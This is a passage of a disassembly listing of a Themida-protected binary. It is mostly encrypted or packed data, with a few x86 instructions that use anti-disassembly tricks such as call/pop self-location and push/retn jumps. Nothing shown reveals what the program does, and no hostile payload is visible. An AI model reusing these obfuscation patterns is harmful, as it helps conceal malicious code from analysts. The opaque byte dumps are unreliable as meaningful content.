7FAA9EAFh, 3079D9FDh, 3F0B3F37h dd 698791BFh, 2E5BCFDFh, 4B954091h, 37D5553Ah, 2241F1CAh dd 1F9F280Ch, 3CBD633Fh, 0D4DB763Eh, 0A6E9FA21h, 0F781E5F1h dd 25256F0Ch, 10E8h, 2B10C900h, 8358353Ah, 38883B0h, 27B2D233h dd 11E9D7h, 0C8DF0000h, 0AC387D76h, 309A0B1Ch, 7FB0CFAEh dd 5A189AA3h, 81C68B66h, 5E82C2h, 39BD8B00h, 3306142Ah dd 9D8D09F6h, 0FF06140Bh, 0FA8B1634h, 59F18159h, 807E5CA6h dd 0C1815DE0h, 5A59A206h, 5E9h, 111FF100h, 0C1815FB5h dd 16ABAC27h, 0C89A8B4h, 159D8B32h, 8B06141Ch, 14187185h dd 4EE8306h, 0CE8h, 4EE4EC00h, 3BF6B0D0h, 5668EC6Bh, 0D9D89E1h dd 5806141Eh, 0A254FE81h, 850FFFFFh, 12h, 0E399D8Bh, 34E90614h dd 0B2000000h, 45BD8207h, 12E91D87h, 3F000000h, 4F2CF271h dd 2470FFB0h, 83D46D38h, 7429224Ch, 0FF75E9C0h, 11A8FFFFh dd 0C02A3E08h, 0A0F966C6h, 0FA384B03h, 0E86E26CAh, 0Fh dd 8F6C6AB5h, 9601C489h, 5EB8BDC7h, 609E64C6h, 0C25B589h dd 6E90614h, 88000000h, 1E6BFD31h, 805961B8h, 0C181F5F2h dd 7047h, 19DD858Bh, 59BF0614h, 81639E10h, 9E0B82F7h, 0FFDFB263h dd 0C0BF0F31h, 0DE95Eh, 0E0970000h, 130D5459h, 0DDC13388h dd 810C868Eh, 0FD0FEBC6h, 56CF8048h, 0F2E8F681h, 81FC4F78h dd 38CF3EC6h, 0AE95Dh, 3E120000h, 1950B68Ch, 2F0AC383h dd 6870F56h, 29000000h, 141E3DBDh, 0E9018F06h, 0Bh, 0EDAC77C8h dd 104FC51h, 83A7AFD6h, 2BBB04E9h, 4F5A608Fh, 1C850Fh dd 8B600000h, 0F59589DAh, 61061404h, 26E9h, 88826800h dd 6E2EEE88h, 928774C6h, 858B67F7h, 61406E5h, 0FFFF6EE9h dd 0E5E19CFFh, 6C06AF1h, 0DE181BA8h, 0E8CBAEF4h, 0Ah, 4104BC42h dd 0FF09CA7Fh, 0F55FF093h, 70EAC781h, 85890000h, 6141AB5h dd 34FFC92Bh, 0B99D8939h, 5A06140Ah, 2D51858Bh, 0F2810614h dd 3AEE9F2Ah, 0F281AEB3h, 434289FEh, 0EE9h, 7578EB00h dd 8B4D4D87h, 0F7F6C7Ah, 81059B35h, 3AF182C2h, 0EE801h dd 0DE610000h, 33AB2903h, 0B798489Ah, 0E4ADB964h, 0A798509h dd 895E0614h, 0F600F14h dd 6E9C2B7h, 2D000000h, 7EF273Ah, 19B86179h, 83088AE0h dd 0BF0F04E9h, 0DCF981F2h, 0FFFFF8Fh, 1985h, 0B70F5000h dd 2BE95EDEh, 22000000h, 65F12677h, 0CFEA01D0h, 8B3483BCh dd 860F2963h, 6, 0B42AC881h, 5BE91747h, 67FFFFFFh, 2F85F280h dd 504066AFh, 0CE80723h, 93000000h, 23BE7238h, 5DAA8455h dd 0FE81B58h, 286h, 58F88B00h, 22E9B52Bh, 0C0810614h, 74E3h dd 2A11B58Bh, 0D22B0614h, 8BF3B70Fh, 0BF0F100Ch, 6FF181F3h dd 0B3320623h, 90F1812Bh, 0E94E05B6h, 0Bh, 0E2CBC6FFh dd 289DD2F4h, 813F6F46h, 35A940F1h, 0EE92Dh, 205B0000h dd 9E09CB03h, 612C8C9Ch, 5A6CE7CBh, 0EB816651h, 48FFFBAh dd 0DBB70F10h, 0DD60BE51h, 815B2838h, 35517EAh, 14E962h dd 0EA9E0000h, 189DC2D6h, 6CE064C0h, 45A9FBDh, 7D399757h dd 0C2818B11h, 62035513h, 3F19D8Bh, 0FA810614h, 0FFFF8BD8h dd 0FF79850Fh, 8D0FFFFFh, 6, 7BA1DE81h, 75827077h, 690889A0h dd 0A6DC7814h, 3154578Dh, 0A12E8636h, 25908635h, 254813D9h dd 0AC990530h, 25149221h, 2581023Fh, 98078630h, 23568159h dd 5EA58930h, 0E3908630h, 3140CFB5h, 0AB4CC836h, 0A4AD2282h dd 40C7A204h, 907B91D6h, 235697B9h, 5DDF03BDh, 0F56F8027h dd 0A08E76BBh, 23308E79h, 25166E7Eh, 0F2498630h, 0AED42E72h dd 0AE46A274h, 1650F30h, 906FDE34h, 235C8159h, 5DDA03BDh dd 0F5ED8027h, 35B07EBBh, 0CC848630h, 25428638h, 2BA48996h dd 6C908630h, 0A0474F3Bh, 0DADB79C0h, 25128BD9h, 0DA940B30h dd 9D82927Dh, 25428635h, 98AC65CFh, 238B8DBEh, 291C0BBDh dd 379C802Bh, 0E94B615h, 758247FFh, 690889A0h, 0A6DC7814h dd 3154578Dh, 0A12E8636h, 25908635h, 254813D9h, 0AC990530h dd 0F305E983h, 22B9A4h, 1EE90000h, 3D000000h, 577AFBh dd 6 dup(0) dd 8C9E900h, 0C5C50000h, 0A8D946CAh, 9BB631F5h, 7F8D1A1Eh dd 68670004h, 466AF135h, 58DCD1F0h, 47CBC2CFh, 2DF1ACD8h dd 191D90B2h, 91A00D7Ch, 1255EB9Eh, 85B93FE1h, 0A553F092h dd 5C24E8A3h, 63CCFF8Dh, 49DC492Bh, 8B15F583h, 629A113Fh dd 0E40D30E6h, 0B7A4DC56h, 0E440DB76h, 2BF45855h, 4E7E6219h dd 66641231h, 98070B2Fh, 0C7BECC66h, 1F2F53B7h, 3C4F3E40h dd 74911E2Dh, 40D75D13h, 0DE3A5276h, 11BE6854h, 0C2B9CBFAh dd 374C923Eh, 0B36A8BA9h, 0FF000000h, 0D10238Ch, 549355E4h dd 0DA587C39h, 22686750h, 46762D5Bh, 9248FBC2h, 47CB53F0h dd 0A8B82B23h, 0F714A236h, 5BF768BEh, 1E2DE230h, 1EBD6B63h dd 232524F7h, 12033E7Fh, 0BC8053F0h, 0C6C59A98h, 45EB47CBh dd 51859508h, 66h, 3568675Fh, 0B5D79605h, 0FD414CC6h, 0DD53F092h dd 0BBC4F4AFh, 76E51590h, 0F0921A29h, 51B59953h, 0A8798FE6h dd 0D01C89B5h, 56F52347h, 709DEC3Fh, 6F810535h, 51F92CECh dd 2DE230F2h, 22EB911Eh, 0D0577AF8h, 45DBFFAEh, 503A8D11h dd 56658910h, 0C084E51Eh, 5E4315E0h, 372BFDEBh, 743CF6A3h dd 29A6h, 6867CC00h, 9BA40535h, 0AC53F092h, 0E9A4A0BFh dd 1E2D442Bh, 0C978A5EFh, 4A53F092h, 702B59C6h, 0A3D8FC58h dd 3DF7AEDCh, 6180BF75h, 0F675E01Bh, 5855DFDAh, 49DC7FC6h dd 98133148h, 0D2EA6E9Ah, 0FAF01361h, 8391D8D5h, 0F2AFDA71h dd 1B96B12Eh, 0D7E970E3h, 5579345Fh, 7206E7DFh, 0DCDEDC59h dd 33174FC8h, 365DBC1Bh, 7D81FC17h, 92AAE7E2h, 0D85F3013h dd 19701F5Fh, 0B6B5DFEAh, 68EC1C99h, 0D85FD261h, 0C9ED515Fh dd 16373645h, 8BABAD67h, 0ACDCD9F4h, 3CD2EA28h, 1B888E44h dd 0C64C4944h, 3665675Ch, 700F7CBCh, 50E34C52h, 0D353F092h dd 0D7334B6Fh, 9654DB5Dh, 889480h, 2Bh, 1A6E80ACh, 1F2A8B58h dd 9453F092h, 0C5C49BB0h, 8BC04AC8h, 92AC9F18h, 232753F0h dd 67C2D6D1h, 4AA3316Ch, 162A60h, 80400000h, 8B581A6Eh dd 0F0921F2Ah, 0F87ADE53h, 6C67A18Bh, 604AA331h, 6366567h dd 0F2D5DF95h, 0F63B217Eh, 57671A29h, 7BB421F3h, 2753EC10h dd 758702Bh, 1D7A9209h, 0EF53D73Eh, 1F8084DCh, 63D261CEh dd 0ED5153F4h, 0BD49183Bh, 9E25BC9h, 68AACE5Dh, 0AAB16C83h dd 6CE8E09Dh, 0A4D7E9A6h, 0D5C8C760h, 1A3736A5h, 25EF6B63h dd 0A0A15776h, 7B1C9EDh, 6362A1C8h, 0A04EEA2Eh, 3E8598C0h dd 26h, 366567FAh, 394F9E06h, 7AD1A502h, 0B22D49DCh, 0E48AC675h dd 2EF95D55h, 55AD6722h, 0D2BDD9F1h, 37A8CBBh, 0FD8B35FFh dd 9512EC42h, 53F050A6h, 94C7593Dh, 0AC153CDh, 0D7585F8h dd 327388FCh, 49DC46ACh, 42DD2125h, 0FC3D4D40h, 0D1163B6Ch dd 3646434Eh, 55651829h, 8F5A303h, 0F4B1B3h, 0B69AA0F7h dd 7193B2D9h, 5769F63Ah, 34A71424h, 76DA58EBh, 585570D9h dd 6CD0A420h, 89FF0EA6h, 2C693572h, 9EE2C35Ah, 6E80589Ah dd 0A288581Ah, 0D8D5F48Bh, 1F83855Ah, 0F092A39Eh, 0EA4B2053h dd 53F0925Fh, 284C70D4h, 8BB67CAAh, 0AEDED7F4h, 0FC1A55D8h dd 0C9EDF43Ch, 0AB89A74Bh, 5AB58894h, 0F0B96EDDh, 9361E5AEh dd 2BD0h, 6E80DC00h, 188B581Ah, 0C64C3F41h, 0F09264D7h dd 0A3A1B853h, 99143FE8h, 0DB2FE561h, 0A18BFD77h, 0A3316C67h dd 502A604Ah, 40000000h, 581A6E80h, 0DAD3F48Bh, 0D3EC26A2h dd 1D611060h, 22203840h, 0D44A6E23h, 286FEBDCh, 0C8C54F04h dd 53F0E179h, 199FAEBDh, 84B4E7h, 7893EC1Ch, 65890D3Dh dd 3BB911AFh, 6C67A18Bh, 0F48BA331h, 6C2725D7h, 4F38CA48h dd 629A1330h, 672A2CE6h, 0A7063665h, 53EC106Ah, 3C4BA20Dh dd 0D78930Ah, 0F41091A0h, 0E42E1253h, 0FF005F2Ch, 102D1C99h dd 0A2A653F4h, 0A8A774BEh, 8C87C6F5h, 8B9DF911h, 0FF21E694h dd 0D0EC2621h, 0FD0D808Fh, 122A6762h, 3646414Dh, 0C44EA512h dd 0C0C299F2h, 0DB59BDCDh, 9FAEDD34h, 7BA4EE19h, 53F45AC8h dd 0ABA3C74Bh, 0AB070B2Fh, 85995485h, 5511h, 0FD8B9F00h dd 78A5D2EBh, 53F03BC9h, 1C50C64Ah, 904FC539h, 0CAC3C46Eh dd 1A3256B2h, 63543A2h, 7137D24Eh, 0A082EA9h, 103F4EB9h dd 2BE96D9Dh, 0DC6DE8AAh, 0B074649h, 19668290h, 3F9BB3EEh dd 719CE31Bh, 4E7B0434h, 0B4632757h, 8671D55Dh, 7F2E506Fh dd 656779BBh, 4F9E0636h, 4C7B0239h, 47E0C351h, 49DC6CFBh dd 0CE04080Ch, 581A6E80h, 6567A288h, 0B67CBC36h, 94809654h dd 5A0088h, 8BAC0000h, 0C0CF6BFDh, 181ABB79h, 0BC364AA4h dd 0AD188Bh, 53F09231h, 0BC8FCEB2h, 3753F092h, 0B9E6C153h dd 53F0928Ah, 0D0CDFE09h, 0BA385CB8h, 0F48BA18Bh, 2AAEDED7h dd 661833E8h, 490B2F6Ah, 612A604Ah, 0F9000000h, 0B9D66062h dd 2448CCFCh, 1A9BB014h, 53F0922Fh, 0E852A0A4h, 0E11A6E80h dd 5F210E93h, 4ADC0B05h, 0AA911EBAh, 0DD47CDDCh, 0DF1EFD8Bh dd 3AB3E33Bh, 0D36ECFF8h, 1A53F0F8h, 0F48B3CB6h, 692423D5h dd 1D2A3545h, 0EE4F7C60h, 53F09253h, 5A66CD0h, 0F3F1DAAAh dd 0A3CAFA64h, 6C67EF51h, 604AA331h, 6366567h, 0FCB9D695h dd 0CBCA48CCh, 53EC1086h, 8EBBC2F9h, 177E1D17h, 63A7D6E8h dd 0B3CBC2C4h, 94073940h, 0B1C7269Eh, 10951D9Ah, 6DDE49D8h dd 0E81671C0h, 6A8EF255h, 4870351h, 0AF216E24h, 21595470h dd 69AB6FA5h, 581A6E80h, 6567A288h, 0B67CBC36h, 94809654h dd 460088h, 8BAC0000h, 0ADDDD8F4h, 0CCFCB1D2h, 0D6EE2448h dd 0D84B4038h, 0C1088381h, 53F09272h, 5A9B8DF1h, 0DABC7371h dd 8BB7B97Bh, 0F0921F2Ah, 394B9453h, 8B945E42h, 316C67A1h dd 0D7F48BA3h, 0E82AAEDEh, 3A2A941Eh, 40000000h, 0E11A6E80h dd 0ABF90293h, 0A86A19B3h, 48188BA6h, 10A18E92h, 0C4B143F7h dd 53F09E75h, 203F4CC4h, 0F3A7B21h, 8453F09Eh, 0AC969C80h dd 6C67A18Bh, 44431A31h, 4A41CB49h, 0C4656760h, 622C093Dh dd 0E7173B32h, 0EC597546h, 7C375553h, 8915334Ch, 0F4591D2Ch dd 8EB29653h, 167DDA7Eh, 284F280Ch, 2A3E719h, 53F45937h dd 0DDB1ECE7h, 56D15579h, 72C16E34h, 0F153F459h, 0B52698Dh dd 308C86FDh, 385339C8h, 0D8BF1BFFh, 0F5146B49h, 2D606FB8h dd 0F7BB91Dh, 1974070Bh, 0E862AD9Ch, 0D0222655h, 1A6E806Eh dd 67A28858h, 7CBC3665h, 809654B6h, 36008894h, 15000000h dd 4921E35Fh, 0B2AD433Eh, 0B5BF7591h, 0E6E16E80h, 133793ABh dd 4AFD8B41h, 0A976EF70h, 0DB4467ADh, 53F01268h, 8BED67EBh dd 316C67A1h, 2A604AA3h, 46h, 1A6E8040h, 9F188B58h, 53F092ACh dd 0C5C42327h, 3C794AC8h, 53F0920Dh, 8B8E44CCh, 3100AD18h dd 0B253F092h, 67C244CEh, 0CB79C36Ch, 335BF637h, 74D853F0h dd 682933A2h, 5BC43744h, 53F06CE8h, 2B2DE76Bh, 6567604Ah dd 52D3BFCDh, 53F092E7h, 0D0F4187Ch, 0DBA140B8h, 143635A0h dd 132B6662h, 148193B7h, 49DC7E02h, 8CC4F75Bh, 0B9DE67FBh dd 0C4C15E4Eh, 0DF55B1C9h, 0EE9A6B1Bh, 7828EDDh, 268193F7h dd 1D98B4CBh, 91BE69EDh, 219F1E14h, 0AA4FCFF6h, 4D712C5Dh dd 8FB6CE3Dh, 0DA692618h, 2527F43Eh, 0E307828Dh, 0F7E801Fh dd 4BEFFh, 0A20D883Dh, 0A880D04Bh, 3BB1B3Dh, 497B10E2h dd 2F51CE52h, 15334C7Ch, 0AE96E9Eh, 0EBA2A4E3h, 1786B827h dd 8D5E7h, 8C430000h, 4944401Fh dd 676741CBh, 497B0434h, 29253A52h, 4015E6Eh, 0DFEE7189h dd 0B6D5AAA2h, 8EBCC3FBh, 6D98E717h, 46471830h, 511F2757h dd 0C181E189h, 4, 4BF57h, 0F9290000h, 240C875Fh, 5158685Ch dd 34890000h, 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h dd 55241489h, 1F09F4BDh, 8DCD8112h, 81002947h, 8C6701F5h dd 81EDD15Dh, 5048A3C5h, 5EDC177h, 0BDB9BB53h, 0DD010121h dd 5DEE895Bh, 24148B54h, 5604C483h, 3B240481h, 8F00EE54h dd 0BB530842h, 0EE543Bh, 5B085A29h, 5624148Bh, 0C681E689h dd 4, 4C681h, 34870000h, 34FF5C24h, 0C4815E24h, 4, 0F96B7FE9h dd 0A13AAFFFh, 38AC54B2h, 0B882D825h, 61B14C3h, 0E0FFC503h dd 3AF5615Dh, 7B7D2D1Dh, 26957808h, 54900B5Ah, 38C60007h dd 14FE54BAh, 5E07A087h, 1F466608h, 7D801544h, 459B21A4h dd 58162A8Fh, 0B2437B1h, 5BDFA70Bh, 29E52359h, 7437F95Dh dd 7A8DF5C5h, 14E8h, 3467FA00h, 0CE9A0DFh, 8B849439h, 0B77ADC93h dd 56D60656h, 0E8536017h, 11h, 155B2CFEh, 0DC3B01E3h, 9304A602h dd 41A2F767h, 815B596Dh, 0B27A9AC9h, 0E95A6149h, 7, 0C7AC91C2h dd 819FC563h, 759EC2h, 0FFBF0F00h, 1D1D68h, 0E9F18100h dd 5B236D51h, 6E952h, 0B4180000h, 0F4615F19h, 0E932FF58h dd 12h, 7F78059Ch, 9CCC93BBh, 2ADCE35Ah, 11AE1A96h, 0B05E8116h dd 93EE8115h, 0F01AE9Fh, 1B81h, 9E96000h, 81000000h, 0DAFBD1B0h dd 9054F27h, 5E8h, 5FAA7E00h, 6158F6C8h, 0B0A2F681h, 0DF8119D8h dd 58AAFA10h, 0DA05F681h, 0F6043E9h, 0DE8BF0B7h, 8E85661h dd 0A7000000h, 0E01BD07Fh, 606CEBBDh, 890Fh, 0DE8B0000h dd 28F5961h, 5A5AF181h, 0EA815373h, 120F0BE9h, 8C0Fh, 0C2810000h dd 120F0BE5h, 0A502E081h, 0EB833FC5h, 0F850F01h, 66000000h dd 24E9C38Bh, 8D000000h, 4420C612h, 0A8BF89FCh, 0E9293BA8h dd 0FFFFFF49h, 0B58580D0h, 8044A4EBh, 12C2CE9h, 46B41F2Eh dd 0E9B0C733h, 4, 299E32E3h, 51AE9h, 3F729200h, 225B6CFBh dd 4B4641DEh, 732A58C7h, 9C1130AFh, 89391398h, 6403077Ah dd 7DEA2E67h, 55D25651h, 0D9B47833h, 8476C562h, 468D55EBh dd 36656742h, 3E0DAA05h, 0B553F092h, 1C6343D1h, 413C4BEDh dd 9D183649h, 0BAD15579h, 9253EE4Fh, 6CD053F0h, 0EE1E95B3h dd 0D1F3A86Ah, 0BE82828h, 2C50D009h, 4A41431Ch, 20B3C132h dd 5D848575h, 7D8E5DD7h, 453BE6F2h, 0F91D007Ah, 9BF685C1h dd 0F07D2F1Ah, 4EA0A453h, 0E55186F2h, 0E976BCDAh, 4A414382h dd 892D59C6h, 8D09017Ch, 5ACE719Bh, 20449687h, 4C4743DCh dd 6F26233Ch, 8904005Fh, 0A0DDEE71h, 3C53FCA8h, 0B1841A04h dd 0B0D4898Dh, 0D649A08Fh, 97453C9Eh, 0DB44FB1Dh, 603FF5B0h dd 7AE52964h, 84255548h, 53F030BAh, 7181E887h, 85952EABh dd 49CBh, 6567E100h, 9AA70636h, 9953F092h, 8D539FF6h, 2985948Ch dd 1, 37666787h, 65694C04h, 0CCD50BC0h, 0E8196646h, 0CCFA85B5h dd 0A4A3BAD1h, 0BF75D1E9h, 85EC4B0Fh, 0C4484546h, 0AE72295Bh dd 0C75887DDh, 0DC110D7Dh, 6867EC56h, 497A0535h, 27582754h dd 30C24676h, 92E94274h, 68F73D70h, 0CD562E01h, 0C4AB6828h dd 6A9936FCh, 0CA90437h, 53F07C3Dh, 0DDB1EC1Dh, 60FFBB79h dd 401F2F5Eh, 0ED304845h, 31CF0B62h, 0AD859579h, 0BFh dd 6BE647B2h, 0E853F076h, 67A4AE64h, 0C5C0CE68h, 171CA3B5h dd 0A7FB7C89h, 1D6C9F83h, 3C98B0EBh, 0EA45B6F6h, 0F090FE4Dh dd 3117553h, 3444414Ch, 34711D2Bh, 53F09005h, 6696BA9Eh dd 84B4E719h, 3A0017C0h, 0F31279D6h, 0DBA2D9D4h, 7EDAF2A9h dd 6463FCB4h, 37A21129h, 0F0905BF6h, 808FD853h, 7599FD0Dh dd 906AD946h, 65E953F0h, 0DBD2F0AFh, 59E835A0h, 0DA53F090h dd 0BD00BC76h, 0D8D3FF8Eh, 1C5EB55Ah, 85948CDEh, 64D8h dd 0B5F26D00h, 0AC0F6A86h, 71FB391Dh, 5356867h, 3B534E7Ah dd 77932524h, 9FE0183Ch, 55013974h, 0DF58D33Ah, 53F0926Ch dd 8B7F63E7h, 0E7E6254Ch, 67AC66AAh, 0A6073766h, 53F092A4h dd 539FF699h, 85948C8Dh, 0F0989BE9h, 0BCEC5FD8h, 0E367AC0Fh dd 0FC8AAD0Dh, 0BB536h, 6FDA0000h, 0FC773CEh, 868CF0ACh dd 266C679Ch, 0F0924AF9h, 484B6B53h, 0B497E360h, 20587CC0h dd 83852D5Fh, 73D4E408h, 335E6D84h, 0C6F87E8Dh, 3F9BB3D7h dd 9E6F171Bh, 1654D1EAh, 0EF49DC23h, 0E43A7390h, 79154B36h dd 8CBCA0F4h, 56DAD1F3h, 0B7C4B7C9h, 1968DB44h, 67EB55E4h dd 0AF9011ADh, 0A055E419h, 0BFC10017h, 0ADDF48CCh, 8FB1CEFEh dd 413AEC1Ch, 5D6F093Ah, 96F20A2Eh, 8598FF9Ch, 4BC9C4C6h dd 3B7294h, 63A34C79h, 0AEF04817h, 0E27D8DB1h, 399DADE0h dd 0FF5B1F15h, 8BA96031h, 10B4Dh, 0F682D200h, 0D8F3D51Ch dd 80E668AAh, 47E01B61h, 49DC90C7h, 5B245438h, 31AE7229h dd 136C9C0Fh, 1681BAF1h, 2D76065Eh, 69702BA9h, 55E4E2DAh dd 8F3FF559h, 0AFDFCEF0h, 0C3FBB2D0h, 75BDD4BBh, 6E9DF403h dd 5A2A215Ch, 0F33CC872h, 55E46D40h, 0D5A97FC3h, 0D2868C2Ch dd 0A8E1B866h, 3DC68Bh, 80D20000h, 43EC1F65h, 0D3F09290h dd 0AD68F853h, 1A6F0412h, 0B392A1A8h, 2D11D3F0h, 81B0F109h dd 0AED3F0B3h, 895CCA21h, 8FB1C8C3h, 0AA68EC1Ch, 0B3CD9C19h dd 20653F0h, 6E2CFEh, 804A0000h, 75E01B61h, 0F0921928h dd 7CB69A53h, 3865D043h, 53F09209h, 18C868Ah, 49DC6A45h dd 6A2521BEh, 1A29F652h, 344B4367h, 8979B12h, 524B7CF6h dd 0A19F1E2Eh, 0AA55E49Bh, 0C5C7066Dh, 0D33252D6h, 4727EE57h dd 0F317D450h, 0D8945FD8h, 0FB5F4FCFh, 138ABCC3h, 1A619CFBh dd 185B5E8h, 21056CF3h, 2687B4C0h, 45F4B153h, 0BA78BC80h dd 2ED9F48Bh, 2DAF5A84h, 0B8D0F4A1h, 0FDED65Ch, 88D74279h dd 8F0E0479h, 49DB33C4h, 49102B2Fh, 0D337473Ah, 0E81A6541h dd 0ABCE86B5h, 4EA1FAB0h, 7BE4AC66h, 0FB3A5249h, 0A476FAADh dd 13325936h, 0E976BAF1h, 0CB94A4D7h, 5AB5C6BDh, 50776EDDh dd 9361E566h, 2E45B413h, 7ABEED1Fh, 0A8A0DBEDh, 119Ah dd 1F8C1000h, 9D41B449h, 0F51414BCh, 0E00480B8h, 67672812h dd 497B0434h, 29253A52h, 4015E6Eh, 0DFEE7189h, 0B6D5AAA2h dd 8EBCC3FBh, 6D98E717h, 46471830h, 681F2757h, 67CCh, 68241489h dd 3155h, 68240C89h, 29E0h, 57242C89h, 0E43C87BFh, 537CB94Eh dd 0C18154FFh, 3278723Ah, 0E981F929h, 3278723Ah, 4EC815Fh dd 89000000h, 4832424h, 505D0424h, 8B8h, 28000500h, 0E8016D79h dd 7928002Dh, 5808896Dh, 5D2434FFh, 4C481h, 34FF0000h dd 0C4835924h, 64DAE904h, 0A255FFF9h, 0F7A4EC67h, 0B8DD9D39h dd 61B1B9Bh, 0E0FFC503h, 43C8459h, 9907CD8h, 1FFA4786h dd 7738ADA6h, 5437EB80h, 406142FBh, 112791DBh, 1B2051BBh dd 808C54Fh, 719C8F49h, 7EA9D7A3h, 66743E7Ch, 59E6220Fh dd 8F9EEE8h, 4EE243B2h, 7FCC9A95h, 27775D85h, 3B85E048h dd 0ECBDCCDh, 29AB0989h, 63029EAAh, 77D757A0h, 5AB9D3CAh dd 4CA0A3F4h, 56CBEF7Ah, 6630F89Fh, 1AAAC771h, 1D4E8D8Dh dd 6A061Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 6653ABC3h, 0BE013DBAh, 1020A66Bh dd 2B698D89h, 6A0614h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 140424h, 55450000h, 85C79EC3h, 6141055h, 7400h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 87C35141h, 41C50563h dd 20918EAEh, 1810F59h, 0F8000000h, 13D85C7h, 614h, 9D290000h dd 6141999h, 0D55B5FFh, 9D8B0614h, 6140EB1h, 0BD995FFh dd 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 6AEBDAC3h, 7195FF00h, 8B061429h, 225BEBC0h dd 60B2888h, 0CD819B71h, 6B8D8548h, 9F52448Eh, 0C1C25299h dd 0C603AD5Eh, 0B2EBBBF7h, 0A48C34A6h, 0EB5D0F17h, 0A84574CCh dd 0EA601B50h, 795E35B8h, 3AE6EBBFh, 0F3355722h, 9666EDABh dd 0F3D5898Eh, 0CC0419CBh, 5682363Fh, 2F5B3E1Bh, 1EBDE525h dd 20ADBD5Ah, 0D991D965h, 8D8D0865h, 61B1E7Dh, 2DF5858Bh dd 8D890614h, 6142B69h, 8A0Fh, 85C70000h, 6141055h, 7448h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 59C35646h dd 0E5202D67h, 3D85C78Ah, 61401h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h dd 0B0A2C353h, 7C0B8E48h, 81ADDF57h, 9E3C7CF7h, 7E85025h dd 27000000h, 708F7DB7h, 8166F314h, 5AB3EBF2h, 1B5FF58h dd 6A061425h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 6F68C350h, 2E8C36E1h, 0B58B70BCh dd 6142F29h, 95FFF08Bh, 6140BD9h, 2E1858Bh, 6A0614h, 297195FFh dd 0C08B0614h, 0E74E7DEBh, 0A31DC679h, 0AA8D8AF0h, 0E4CD65CCh dd 0C10FCBC9h, 452290E1h, 72B2DFB6h, 861F7020h, 0FB18AE43h dd 1D3AC373h, 0FD71108Fh, 8F0F12Bh, 8D10FB57h, 1D16C548h dd 0FDE14433h, 33DD645Bh, 80247884h, 0D18789h, 0F2F15DEDh dd 0EC499EACh, 939B3B46h, 1250E9ACh, 0B60C2ABh, 0D1B54B3Eh dd 77337646h, 0D9D8D231h, 366322CEh, 0DB8924Eh, 4845D4AFh dd 775FBF0Dh, 2390E8BDh, 0E8FF20C7h, 10h, 1C680256h, 2408E7E7h dd 0C107C750h, 31C9BAA9h, 36D08166h, 8B665F19h, 0F3C781F3h dd 8100005Fh, 459A89DEh, 51C93370h, 19158D29h, 8B5B0614h dd 0C28B0F14h, 0D8ABF281h, 0BF0F5E32h, 4EF281C2h, 0F6AF014h dd 285h, 8194B400h, 5BCEADF2h, 0DE903h, 8960000h, 2AF7FF0Dh dd 7AEFC43Fh, 529ABCF8h, 2ADD9D29h, 48F0614h, 0F1B5310Fh dd 6006141Bh, 51DEB70Fh, 49F5A7BAh, 83615B02h, 0DB8002E9h dd 2B494959h, 1402D185h, 0D0F98106h, 0FFFFFA0h, 0F85h dd 0F0B70F00h, 26E9h, 0E05C2B00h, 0A6DBD8F4h, 0AA4D081h dd 7CE91F58h, 91FFFFFFh, 158DB7B7h, 62D885A5h, 42112224h dd 78C933F0h, 8D2B87B3h, 1B20A18Dh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 0C8AB97Bh dd 0DD8D8910h, 29061417h, 142C618Dh, 698D8906h, 6A06142Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1A042444h dd 47000000h, 0A02BC357h, 18D50C45h, 0F7816688h, 85C7EA35h dd 6141055h, 6680h, 0B364BE66h, 13D85C7h, 614h, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 2F4857C3h, 7C69D2E8h, 80A3CB0Dh, 0B5FF22CFh, 6140D09h dd 20199D8Bh, 5E90614h, 0CE000000h, 0E7226ACBh, 0BD995FFh dd 0DE90614h, 0C8000000h, 2467EA69h, 0BF3A5551h, 4A4020E2h dd 6ADF8Bh, 297195FFh, 0C08B0614h, 0FD1F4CEBh, 0F7543B39h dd 83A079E9h, 0B5D14238h, 9C65F51Fh, 0D733D67Dh, 0A11AAB0Ah dd 0F3651212h, 618B3DBh, 80D4ACB0h, 0C88E6D9h, 2D39E78Eh dd 352D7A32h, 27AC71B1h, 0EB8FFEE1h, 65509256h, 60886AC9h dd 704C9951h, 0B0FEE8ABh, 8D8D2634h, 61B21CAh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 37C35242h, 890CD9B6h dd 94753ABh, 140C29B5h, 698D8906h, 6A06142Bh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1C042444h, 46000000h dd 0E824C356h, 25F9A571h, 6000934Fh, 0AE9h, 0BFC94000h dd 87E4D3BBh, 66B33D82h, 0ED15C981h, 9D896061h, 6142675h dd 0A7EB8166h, 85C76166h, 6141055h, 63D0h, 11719D2Bh, 85C70614h dd 614013Dh, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5EFD2F and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5EFD2F proc near ; CODE XREF: Themida_:005EFD27p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5EFD2F endp ; --------------------------------------------------------------------------- mov cl, 8Fh movzx ebx, si push dword ptr [ebp+6140E15h] mov [ebp+6140B8Dh], eax movzx ebx, bx call dword ptr [ebp+6140BD9h] sub edx, [ebp+6140DB9h] push 0 call dword ptr [ebp+6142971h] mov eax, eax jmp short loc_5EFDCA ; --------------------------------------------------------------------------- db 9 dd 0ACEDE973h, 15DCA483h, 6BEF5BFEh, 0BE9585A0h, 0F89187Ch dd 3273BC9Fh, 11929170h, 0DD8EA212h, 488ADDA5h, 0E4BCA268h dd 0B075231Eh, 98ABC025h, 2DD2E4C0h, 0C2B82DDh, 9560EC43h dd 7575B66Bh, 0A033B972h, 4235C4FDh, 37478EACh, 587D564Ch dd 0FC42653Bh, 5A2E42EFh, 7396952Dh db 8Ch, 